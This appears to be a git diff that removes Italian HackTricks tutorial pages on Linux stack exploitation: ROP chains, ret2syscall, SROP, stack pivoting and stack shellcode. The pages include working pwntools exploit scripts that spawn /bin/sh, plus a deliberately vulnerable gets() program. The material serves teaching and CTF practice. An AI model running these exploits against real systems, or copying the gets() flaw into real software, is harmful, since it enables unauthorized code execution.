-### Strumenti
-
-Tipicamente, i gadget possono essere trovati utilizzando **[ROPgadget](https://github.com/JonathanSalwan/ROPgadget)**, **[ropper](https://github.com/sashs/Ropper)** o direttamente da **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
-
-## Esempio di Catena ROP in x86
-
-### **Convenzioni di Chiamata x86 (32-bit)**
-
-- **cdecl**: Il chiamante pulisce lo stack. Gli argomenti della funzione vengono spinti nello stack in ordine inverso (da destra a sinistra). **Gli argomenti vengono spinti nello stack da destra a sinistra.**
-- **stdcall**: Simile a cdecl, ma il chiamato è responsabile della pulizia dello stack.
-
-### **Trovare Gadget**
-
-Prima, assumiamo di aver identificato i gadget necessari all'interno del binario o delle sue librerie caricate. I gadget di nostro interesse sono:
-
-- `pop eax; ret`: Questo gadget estrae il valore superiore dello stack nel registro `EAX` e poi restituisce, permettendoci di controllare `EAX`.
-- `pop ebx; ret`: Simile a quello sopra, ma per il registro `EBX`, abilitando il controllo su `EBX`.
-- `mov [ebx], eax; ret`: Sposta il valore in `EAX` nella posizione di memoria puntata da `EBX` e poi restituisce. Questo è spesso chiamato un **gadget write-what-where**.
-- Inoltre, abbiamo l'indirizzo della funzione `system()` disponibile.
-
-### **Catena ROP**
-
-Utilizzando **pwntools**, prepariamo lo stack per l'esecuzione della catena ROP come segue, mirando a eseguire `system('/bin/sh')`, nota come la catena inizia con:
-
-1. Un'istruzione `ret` per scopi di allineamento (opzionale)
-2. Indirizzo della funzione `system` (supponendo ASLR disabilitato e libc conosciuta, maggiori informazioni in [**Ret2lib**](ret2lib/index.html))
-3. Segnaposto per l'indirizzo di ritorno da `system()`
-4. Indirizzo della stringa `"/bin/sh"` (parametro per la funzione system)
-```python
-from pwn import *
-
-# Assuming we have the binary's ELF and its process
-binary = context.binary = ELF('your_binary_here')
-p = process(binary.path)
-
-# Find the address of the string "/bin/sh" in the binary
-bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
-
-# Address of system() function (hypothetical value)
-system_addr = 0xdeadc0de
-
-# A gadget to control the return address, typically found through analysis
-ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address
-
-# Construct the ROP chain
-rop_chain = [
-ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
-system_addr,   # Address of system(). Execution will continue here after the ret gadget
-0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
-bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
-]
-
-# Flatten the rop_chain for use
-rop_chain = b''.join(p32(addr) for addr in rop_chain)
-
-# Send ROP chain
-## offset is the number of bytes required to reach the return address on the stack
-payload = fit({offset: rop_chain})
-p.sendline(payload)
-p.interactive()
-```
-## ROP Chain in x64 Example
-
-### **x64 (64-bit) Calling conventions**
-
-- Utilizza la **System V AMD64 ABI** calling convention sui sistemi simili a Unix, dove i **primi sei argomenti interi o puntatori vengono passati nei registri `RDI`, `RSI`, `RDX`, `RCX`, `R8` e `R9`**. Argomenti aggiuntivi vengono passati nello stack. Il valore di ritorno è posizionato in `RAX`.
-- La calling convention **Windows x64** utilizza `RCX`, `RDX`, `R8` e `R9` per i primi quattro argomenti interi o puntatori, con argomenti aggiuntivi passati nello stack. Il valore di ritorno è posizionato in `RAX`.
-- **Registri**: i registri a 64 bit includono `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` e `R8` a `R15`.
-
-#### **Finding Gadgets**
-
-Per il nostro scopo, concentriamoci sui gadget che ci permetteranno di impostare il registro **RDI** (per passare la stringa **"/bin/sh"** come argomento a **system()**) e poi chiamare la funzione **system()**. Assumeremo di aver identificato i seguenti gadget:
-
-- **pop rdi; ret**: Estrae il valore superiore dello stack in **RDI** e poi restituisce. Essenziale per impostare il nostro argomento per **system()**.
-- **ret**: Un semplice ritorno, utile per l'allineamento dello stack in alcuni scenari.
-
-E sappiamo l'indirizzo della funzione **system()**.
-
-### **ROP Chain**
-
-Di seguito è riportato un esempio che utilizza **pwntools** per impostare ed eseguire una ROP chain mirata ad eseguire **system('/bin/sh')** su **x64**:
-```python
-from pwn import *
-
-# Assuming we have the binary's ELF and its process
-binary = context.binary = ELF('your_binary_here')
-p = process(binary.path)
-
-# Find the address of the string "/bin/sh" in the binary
-bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
-
-# Address of system() function (hypothetical value)
-system_addr = 0xdeadbeefdeadbeef
-
-# Gadgets (hypothetical values)
-pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
-ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary
-
-# Construct the ROP chain
-rop_chain = [
-ret_gadget,        # Alignment gadget, if needed
-pop_rdi_gadget,    # pop rdi; ret
-bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
-system_addr        # Address of system(). Execution will continue here.
-]
-
-# Flatten the rop_chain for use
-rop_chain = b''.join(p64(addr) for addr in rop_chain)
-
-# Send ROP chain
-## offset is the number of bytes required to reach the return address on the stack
-payload = fit({offset: rop_chain})
-p.sendline(payload)
-p.interactive()
-```
-In questo esempio:
-
-- Utilizziamo il gadget **`pop rdi; ret`** per impostare **`RDI`** all'indirizzo di **`"/bin/sh"`**.
-- Saltiamo direttamente a **`system()`** dopo aver impostato **`RDI`**, con l'indirizzo di **system()** nella catena.
-- **`ret_gadget`** è usato per l'allineamento se l'ambiente di destinazione lo richiede, il che è più comune in **x64** per garantire un corretto allineamento dello stack prima di chiamare le funzioni.
-
-### Allineamento dello Stack
-
-**L'ABI x86-64** garantisce che lo **stack sia allineato a 16 byte** quando viene eseguita un'**istruzione di chiamata**. **LIBC**, per ottimizzare le prestazioni, **usa istruzioni SSE** (come **movaps**) che richiedono questo allineamento. Se lo stack non è allineato correttamente (significa che **RSP** non è un multiplo di 16), le chiamate a funzioni come **system** falliranno in una **catena ROP**. Per risolvere questo problema, basta aggiungere un **gadget ret** prima di chiamare **system** nella tua catena ROP.
-
-## Differenza principale tra x86 e x64
-
-> [!TIP]
-> Poiché x64 utilizza registri per i primi argomenti, spesso richiede meno gadget rispetto a x86 per chiamate di funzione semplici, ma trovare e concatenare i gadget giusti può essere più complesso a causa del numero maggiore di registri e dello spazio degli indirizzi più ampio. L'aumento del numero di registri e lo spazio degli indirizzi più ampio nell'architettura **x64** offrono sia opportunità che sfide per lo sviluppo di exploit, specialmente nel contesto della Programmazione Orientata al Ritorno (ROP).
-
-## Protezioni
-
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)
-- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html)
-
-## Altri Esempi e Riferimenti
-
-- [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
-
-## Tecniche basate su ROP
-
-Nota che ROP è solo una tecnica per eseguire codice arbitrario. Basato su ROP sono state sviluppate molte tecniche Ret2XXX:
-
-- **Ret2lib**: Usa ROP per chiamare funzioni arbitrarie da una libreria caricata con parametri arbitrari (di solito qualcosa come `system('/bin/sh')`.
-
-{{#ref}}
-ret2lib/
-{{#endref}}
-
-- **Ret2Syscall**: Usa ROP per preparare una chiamata a una syscall, ad esempio `execve`, e farla eseguire comandi arbitrari.
-
-{{#ref}}
-rop-syscall-execv.md
-{{#endref}}
-
-- **EBP2Ret & EBP Chaining**: Il primo abuserà di EBP invece di EIP per controllare il flusso e il secondo è simile a Ret2lib ma in questo caso il flusso è controllato principalmente con indirizzi EBP (anche se è necessario controllare EIP).
-
-{{#ref}}
-stack-pivoting-ebp2ret-ebp-chaining.md
-{{#endref}}
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md
deleted file mode 100644
index 0bd2bdc68..000000000
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md
+++ /dev/null
@@ -1,185 +0,0 @@
-# Ret2syscall
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Informazioni di base
-
-Questo è simile a Ret2lib, tuttavia, in questo caso non chiameremo una funzione da una libreria. In questo caso, tutto sarà preparato per chiamare la syscall `sys_execve` con alcuni argomenti per eseguire `/bin/sh`. Questa tecnica viene solitamente eseguita su binari compilati staticamente, quindi potrebbero esserci molti gadget e istruzioni syscall.
-
-Per preparare la chiamata per la **syscall** è necessaria la seguente configurazione:
-
-- `rax: 59 Specifica sys_execve`
-- `rdi: ptr a "/bin/sh" specifica il file da eseguire`
-- `rsi: 0 specifica nessun argomento passato`
-- `rdx: 0 specifica nessuna variabile d'ambiente passata`
-
-Quindi, fondamentalmente è necessario scrivere la stringa `/bin/sh` da qualche parte e poi eseguire la `syscall` (essendo consapevoli del padding necessario per controllare lo stack). Per questo, abbiamo bisogno di un gadget per scrivere `/bin/sh` in un'area conosciuta.
-
-> [!TIP]
-> Un'altra syscall interessante da chiamare è **`mprotect`** che consentirebbe a un attaccante di **modificare i permessi di una pagina in memoria**. Questo può essere combinato con [ret2shellcode](stack-shellcode.md).
-
-## Gadget di registrazione
-
-Iniziamo a trovare **come controllare quei registri**:
-```c
-ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
-0x0000000000415664 : pop rax ; ret
-0x0000000000400686 : pop rdi ; ret
-0x00000000004101f3 : pop rsi ; ret
-0x00000000004498b5 : pop rdx ; ret
-```
-Con questi indirizzi è possibile **scrivere il contenuto nello stack e caricarlo nei registri**.
-
-## Scrivere stringa
-
-### Memoria scrivibile
-
-Prima devi trovare un luogo scrivibile nella memoria
-```bash
-gef> vmmap
-[ Legend:  Code | Heap | Stack ]
-Start              End                Offset             Perm Path
-0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
-0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
-0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
-```
-### Scrivere stringa in memoria
-
-Poi devi trovare un modo per scrivere contenuti arbitrari in questo indirizzo
-```bash
-ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
-mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
-```
-### Automatizzare la catena ROP
-
-Il seguente comando crea una catena ROP completa `sys_execve` dato un binario statico quando ci sono gadget write-what-where e istruzioni syscall:
-```bash
-ROPgadget --binary vuln --ropchain
-```
-#### 32 bit
-```python
-'''
-Lets write "/bin/sh" to 0x6b6000
-
-pop rdx, 0x2f62696e2f736800
-pop rax, 0x6b6000
-mov qword ptr [rax], rdx
-'''
-
-rop += popRdx           # place value into EAX
-rop += "/bin"           # 4 bytes at a time
-rop += popRax           # place value into edx
-rop += p32(0x6b6000)    # Writable memory
-rop += writeGadget   #Address to: mov qword ptr [rax], rdx
-
-rop += popRdx
-rop += "//sh"
-rop += popRax
-rop += p32(0x6b6000 + 4)
-rop += writeGadget
-```
-#### 64 bit
-```python
-'''
-Lets write "/bin/sh" to 0x6b6000
-
-pop rdx, 0x2f62696e2f736800
-pop rax, 0x6b6000
-mov qword ptr [rax], rdx
-'''
-rop = ''
-rop += popRdx
-rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
-rop += popRax
-rop += p64(0x6b6000) # Writable memory
-rop += writeGadget #Address to: mov qword ptr [rax], rdx
-```
-## Gadget Mancanti
-
-Se ti mancano **gadget**, ad esempio per scrivere `/bin/sh` in memoria, puoi usare la **tecnica SROP per controllare tutti i valori dei registri** (inclusi RIP e registri dei parametri) dallo stack:
-
-{{#ref}}
-srop-sigreturn-oriented-programming.md
-{{#endref}}
-
-Potrebbero esserci gadget nella regione vDSO, che viene utilizzata per passare dalla modalità utente alla modalità kernel. In questo tipo di sfide, di solito viene fornita un'immagine del kernel per dumpare la regione vDSO.
-
-## Esempio di Exploit
-```python
-from pwn import *
-
-target = process('./speedrun-001')
-#gdb.attach(target, gdbscript = 'b *0x400bad')
-
-# Establish our ROP Gadgets
-popRax = p64(0x415664)
-popRdi = p64(0x400686)
-popRsi = p64(0x4101f3)
-popRdx = p64(0x4498b5)
-
-# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
-writeGadget = p64(0x48d251)
-
-# Our syscall gadget
-syscall = p64(0x40129c)
-
-'''
-Here is the assembly equivalent for these blocks
-write "/bin/sh" to 0x6b6000
-
-pop rdx, 0x2f62696e2f736800
-pop rax, 0x6b6000
-mov qword ptr [rax], rdx
-'''
-rop = ''
-rop += popRdx
-rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
-rop += popRax
-rop += p64(0x6b6000)
-rop += writeGadget
-
-'''
-Prep the four registers with their arguments, and make the syscall
-
-pop rax, 0x3b
-pop rdi, 0x6b6000
-pop rsi, 0x0
-pop rdx, 0x0
-
-syscall
-'''
-
-rop += popRax
-rop += p64(0x3b)
-
-rop += popRdi
-rop += p64(0x6b6000)
-
-rop += popRsi
-rop += p64(0)
-rop += popRdx
-rop += p64(0)
-
-rop += syscall
-
-
-# Add the padding to the saved return address
-payload = "0"*0x408 + rop
-
-# Send the payload, drop to an interactive shell to use our new shell
-target.sendline(payload)
-
-target.interactive()
-```
-## Altri Esempi e Riferimenti
-
-- [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html)
-- 64 bit, no PIE, nx, scrivere in qualche memoria un ROP per chiamare `execve` e saltare lì.
-- [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html)
-- 64 bit, nx, no PIE, scrivere in qualche memoria un ROP per chiamare `execve` e saltare lì. Per scrivere nello stack viene abusata una funzione che esegue operazioni matematiche.
-- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
-- 64 bit, no PIE, nx, BF canary, scrivere in qualche memoria un ROP per chiamare `execve` e saltare lì.
-- [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/)
-- 32 bit, no ASLR, usare vDSO per trovare gadget ROP e chiamare `execve`.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md
deleted file mode 100644
index 876950518..000000000
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md
+++ /dev/null
@@ -1,62 +0,0 @@
-# SROP - Sigreturn-Oriented Programming
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Informazioni di Base
-
-**`Sigreturn`** è una **syscall** speciale utilizzata principalmente per ripulire dopo che un gestore di segnali ha completato la sua esecuzione. I segnali sono interruzioni inviate a un programma dal sistema operativo, spesso per indicare che si è verificata una situazione eccezionale. Quando un programma riceve un segnale, interrompe temporaneamente il suo lavoro attuale per gestire il segnale con un **gestore di segnali**, una funzione speciale progettata per occuparsi dei segnali.
-
-Dopo che il gestore di segnali ha terminato, il programma deve **riprendere il suo stato precedente** come se nulla fosse accaduto. Qui entra in gioco **`sigreturn`**. Aiuta il programma a **tornare dal gestore di segnali** e ripristina lo stato del programma ripulendo il frame dello stack (la sezione di memoria che memorizza le chiamate di funzione e le variabili locali) utilizzato dal gestore di segnali.
-
-La parte interessante è come **`sigreturn`** ripristina lo stato del programma: lo fa memorizzando **tutti i valori dei registri della CPU nello stack.** Quando il segnale non è più bloccato, **`sigreturn` estrae questi valori dallo stack**, ripristinando effettivamente i registri della CPU al loro stato precedente alla gestione del segnale. Questo include il registro del puntatore dello stack (RSP), che punta all'attuale cima dello stack.
-
-> [!CAUTION]
-> Chiamando la syscall **`sigreturn`** da una catena ROP e **aggiungendo i valori dei registri** che vorremmo caricare nello **stack**, è possibile **controllare** tutti i valori dei registri e quindi **chiamare** ad esempio la syscall `execve` con `/bin/sh`.
-
-Nota come questo sarebbe un **tipo di Ret2syscall** che rende molto più facile controllare i parametri per chiamare altre Ret2syscalls:
-
-{{#ref}}
-rop-syscall-execv.md
-{{#endref}}
-
-Per una spiegazione migliore controlla anche:
-
-{{#ref}}
-https://youtu.be/ADULSwnQs-s?feature=shared
-{{#endref}}
-
-## Esempio
-
-Puoi [**trovare un esempio qui**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop), anche se questo è l'exploit finale da lì:
-```python
-from pwn import *
-
-elf = context.binary = ELF('./vuln', checksec=False)
-p = process()
-
-BINSH = elf.address + 0x1250
-POP_RAX = 0x41018
-SYSCALL_RET = 0x41015
-
-frame = SigreturnFrame()
-frame.rax = 0x3b            # syscall number for execve
-frame.rdi = BINSH           # pointer to /bin/sh
-frame.rsi = 0x0             # NULL
-frame.rdx = 0x0             # NULL
-frame.rip = SYSCALL_RET
-
-payload = b'A' * 8
-payload += p64(POP_RAX)
-payload += p64(0xf)
-payload += p64(SYSCALL_RET)
-payload += bytes(frame)
-
-p.sendline(payload)
-p.interactive()
-```
-## Riferimenti
-
-- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
-- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
deleted file mode 100644
index f7cd68195..000000000
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
+++ /dev/null
@@ -1,178 +0,0 @@
-# Stack Pivoting - EBP2Ret - EBP chaining
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Informazioni di base
-
-Questa tecnica sfrutta la capacità di manipolare il **Base Pointer (EBP)** per concatenare l'esecuzione di più funzioni attraverso un uso attento del registro EBP e della sequenza di istruzioni `leave; ret`.
-
-Come promemoria, **`leave`** significa fondamentalmente:
-```
-mov               esp, ebp
-pop               ebp
-ret
-```
-E come se l'**EBP è nello stack** prima dell'EIP, è possibile controllarlo controllando lo stack.
-
-### EBP2Ret
-
-Questa tecnica è particolarmente utile quando puoi **modificare il registro EBP ma non hai un modo diretto per cambiare il registro EIP**. Sfrutta il comportamento delle funzioni quando terminano l'esecuzione.
-
-Se, durante l'esecuzione di `fvuln`, riesci a iniettare un **fake EBP** nello stack che punta a un'area della memoria dove si trova l'indirizzo del tuo shellcode (più 4 byte per tenere conto dell'operazione `pop`), puoi controllare indirettamente l'EIP. Quando `fvuln` restituisce, l'ESP è impostato su questa posizione creata, e l'operazione `pop` successiva diminuisce l'ESP di 4, **facendolo puntare effettivamente a un indirizzo memorizzato dall'attaccante lì.**\
-Nota come **devi conoscere 2 indirizzi**: Quello dove andrà l'ESP, dove dovrai scrivere l'indirizzo a cui punta l'ESP.
-
-#### Costruzione dell'Exploit
-
-Prima devi conoscere un **indirizzo dove puoi scrivere dati / indirizzi arbitrari**. L'ESP punterà qui e **eseguirà il primo `ret`**.
-
-Poi, devi conoscere l'indirizzo utilizzato da `ret` che **eseguirà codice arbitrario**. Potresti usare:
-
-- Un indirizzo valido [**ONE_GADGET**](https://github.com/david942j/one_gadget).
-- L'indirizzo di **`system()`** seguito da **4 byte spazzatura** e l'indirizzo di `"/bin/sh"` (x86 bits).
-- L'indirizzo di un gadget **`jump esp;`** ([**ret2esp**](ret2esp-ret2reg.md)) seguito dal **shellcode** da eseguire.
-- Alcuna catena [**ROP**](rop-return-oriented-programing.md).
-
-Ricorda che prima di qualsiasi di questi indirizzi nella parte controllata della memoria, devono esserci **`4` byte** a causa della parte **`pop`** dell'istruzione `leave`. Sarebbe possibile abusare di questi 4B per impostare un **secondo fake EBP** e continuare a controllare l'esecuzione.
-
-#### Off-By-One Exploit
-
-C'è una variante specifica di questa tecnica nota come "Off-By-One Exploit". Viene utilizzata quando puoi **modificare solo il byte meno significativo dell'EBP**. In tal caso, la posizione di memoria che memorizza l'indirizzo a cui saltare con il **`ret`** deve condividere i primi tre byte con l'EBP, consentendo una manipolazione simile con condizioni più vincolate.
-
-### **EBP Chaining**
-
-Pertanto, mettendo un indirizzo controllato nell'entrata `EBP` dello stack e un indirizzo per `leave; ret` in `EIP`, è possibile **spostare l'`ESP` all'indirizzo `EBP` controllato dallo stack**.
-
-Ora, l'**`ESP`** è controllato puntando a un indirizzo desiderato e la prossima istruzione da eseguire è un `RET`. Per abusare di questo, è possibile posizionare nel posto controllato dell'ESP questo:
-
-- **`&(next fake EBP)`** -> Carica il nuovo EBP a causa di `pop ebp` dall'istruzione `leave`.
-- **`system()`** -> Chiamato da `ret`.
-- **`&(leave;ret)`** -> Chiamato dopo che il sistema termina, sposterà l'ESP al fake EBP e ricomincerà.
-- **`&("/bin/sh")`**-> Parametro per `system`.
-
-Fondamentalmente, in questo modo è possibile concatenare diversi fake EBP per controllare il flusso del programma.
-
-Questo è simile a un [ret2lib](ret2lib/index.html), ma più complesso senza apparenti vantaggi, ma potrebbe essere interessante in alcuni casi limite.
-
-Inoltre, qui hai un [**esempio di una sfida**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) che utilizza questa tecnica con una **stack leak** per chiamare una funzione vincente. Questo è il payload finale dalla pagina:
-```python
-from pwn import *
-
-elf = context.binary = ELF('./vuln')
-p = process()
-
-p.recvuntil('to: ')
-buffer = int(p.recvline(), 16)
-log.success(f'Buffer: {hex(buffer)}')
-
-LEAVE_RET = 0x40117c
-POP_RDI = 0x40122b
-POP_RSI_R15 = 0x401229
-
-payload = flat(
-0x0,               # rbp (could be the address of anoter fake RBP)
-POP_RDI,
-0xdeadbeef,
-POP_RSI_R15,
-0xdeadc0de,
-0x0,
-elf.sym['winner']
-)
-
-payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)
-
-payload += flat(
-buffer,         # Load leak address in RBP
-LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
-)
-
-pause()
-p.sendline(payload)
-print(p.recvline())
-```
-## EBP è inutile
-
-Come [**spiegato in questo post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), se un binario è compilato con alcune ottimizzazioni, l'**EBP non controlla mai l'ESP**, quindi, qualsiasi exploit che funziona controllando l'EBP fallirà fondamentalmente perché non ha alcun effetto reale.\
-Questo perché i **prologhi ed epiloghi cambiano** se il binario è ottimizzato.
-
-- **Non ottimizzato:**
-```bash
-push   %ebp         # save ebp
-mov    %esp,%ebp    # set new ebp
-sub    $0x100,%esp  # increase stack size
-.
-.
-.
-leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
-ret                 # return
-```
-- **Ottimizzato:**
-```bash
-push   %ebx         # save ebx
-sub    $0x100,%esp  # increase stack size
-.
-.
-.
-add    $0x10c,%esp  # reduce stack size
-pop    %ebx         # restore ebx
-ret                 # return
-```
-## Altri modi per controllare RSP
-
-### **`pop rsp`** gadget
-
-[**In questa pagina**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puoi trovare un esempio che utilizza questa tecnica. Per questa sfida era necessario chiamare una funzione con 2 argomenti specifici, e c'era un **`pop rsp` gadget** e c'è una **leak dallo stack**:
-```python
-# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
-# This version has added comments
-
-from pwn import *
-
-elf = context.binary = ELF('./vuln')
-p = process()
-
-p.recvuntil('to: ')
-buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
-log.success(f'Buffer: {hex(buffer)}')
-
-POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
-POP_RDI = 0x40122b
-POP_RSI_R15 = 0x401229     # pop RSI and R15
-
-# The payload starts
-payload = flat(
-0,                 # r13
-0,                 # r14
-0,                 # r15
-POP_RDI,
-0xdeadbeef,
-POP_RSI_R15,
-0xdeadc0de,
-0x0,               # r15
-elf.sym['winner']
-)
-
-payload = payload.ljust(104, b'A')     # pad to 104
-
-# Start popping RSP, this moves the stack to the leaked address and
-# continues the ROP chain in the prepared payload
-payload += flat(
-POP_CHAIN,
-buffer             # rsp
-)
-
-pause()
-p.sendline(payload)
-print(p.recvline())
-```
-### xchg \, rsp gadget
-```
-pop                 <=== return pointer
-
-xchg , rsp
-```
-## Riferimenti
-
-- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
-- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md
deleted file mode 100644
index 730957798..000000000
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md
+++ /dev/null
@@ -1,89 +0,0 @@
-# Stack Shellcode
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Informazioni di Base
-
-**Stack shellcode** è una tecnica utilizzata nell'exploitation binaria in cui un attaccante scrive shellcode nello stack di un programma vulnerabile e poi modifica il **Instruction Pointer (IP)** o **Extended Instruction Pointer (EIP)** per puntare alla posizione di questo shellcode, causando la sua esecuzione. Questo è un metodo classico utilizzato per ottenere accesso non autorizzato o eseguire comandi arbitrari su un sistema target. Ecco una panoramica del processo, inclusa un semplice esempio in C e come potresti scrivere un exploit corrispondente utilizzando Python con **pwntools**.
-
-### Esempio C: Un Programma Vulnerabile
-
-Iniziamo con un semplice esempio di un programma C vulnerabile:
-```c
-#include 
-#include 
-
-void vulnerable_function() {
-char buffer[64];
-gets(buffer); // Unsafe function that does not check for buffer overflow
-}
-
-int main() {
-vulnerable_function();
-printf("Returned safely\n");
-return 0;
-}
-```
-Questo programma è vulnerabile a un buffer overflow a causa dell'uso della funzione `gets()`.
-
-### Compilazione
-
-Per compilare questo programma disabilitando varie protezioni (per simulare un ambiente vulnerabile), puoi usare il seguente comando:
-```sh
-gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-```
-- `-fno-stack-protector`: Disabilita la protezione dello stack.
-- `-z execstack`: Rende lo stack eseguibile, il che è necessario per eseguire shellcode memorizzato nello stack.
-- `-no-pie`: Disabilita l'Eseguibile Indipendente dalla Posizione, rendendo più facile prevedere l'indirizzo di memoria in cui si troverà il nostro shellcode.
-- `-m32`: Compila il programma come eseguibile a 32 bit, spesso utilizzato per semplicità nello sviluppo di exploit.
-
-### Python Exploit using Pwntools
-
-Ecco come potresti scrivere un exploit in Python utilizzando **pwntools** per eseguire un attacco **ret2shellcode**:
-```python
-from pwn import *
-
-# Set up the process and context
-binary_path = './vulnerable'
-p = process(binary_path)
-context.binary = binary_path
-context.arch = 'i386' # Specify the architecture
-
-# Generate the shellcode
-shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
-
-# Find the offset to EIP
-offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
-
-# Prepare the payload
-# The NOP slide helps to ensure that the execution flow hits the shellcode.
-nop_slide = asm('nop') * (offset - len(shellcode))
-payload = nop_slide + shellcode
-payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
-payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
-
-# Send the payload
-p.sendline(payload)
-p.interactive()
-```
-Questo script costruisce un payload composto da un **NOP slide**, il **shellcode**, e poi sovrascrive l'**EIP** con l'indirizzo che punta al NOP slide, assicurando che il shellcode venga eseguito.
-
-Il **NOP slide** (`asm('nop')`) è usato per aumentare la possibilità che l'esecuzione "scivoli" nel nostro shellcode indipendentemente dall'indirizzo esatto. Regola l'argomento `p32()` all'indirizzo di partenza del tuo buffer più un offset per atterrare nel NOP slide.
-
-## Protezioni
-
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **dovrebbe essere disabilitato** affinché l'indirizzo sia affidabile tra le esecuzioni o l'indirizzo in cui la funzione sarà memorizzata non sarà sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win.
-- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) dovrebbero essere anch'essi disabilitati o l'indirizzo di ritorno EIP compromesso non sarà mai seguito.
-- La protezione **stack** [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) impedirebbe l'esecuzione del shellcode all'interno dello stack perché quella regione non sarà eseguibile.
-
-## Altri Esempi & Riferimenti
-
-- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
